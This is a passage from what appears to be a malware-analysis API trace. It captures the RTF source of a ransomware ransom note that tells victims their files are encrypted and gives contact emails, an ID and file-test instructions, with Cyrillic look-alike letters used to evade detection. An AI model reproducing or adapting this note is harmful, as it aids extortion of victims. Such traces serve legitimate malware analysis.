\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . 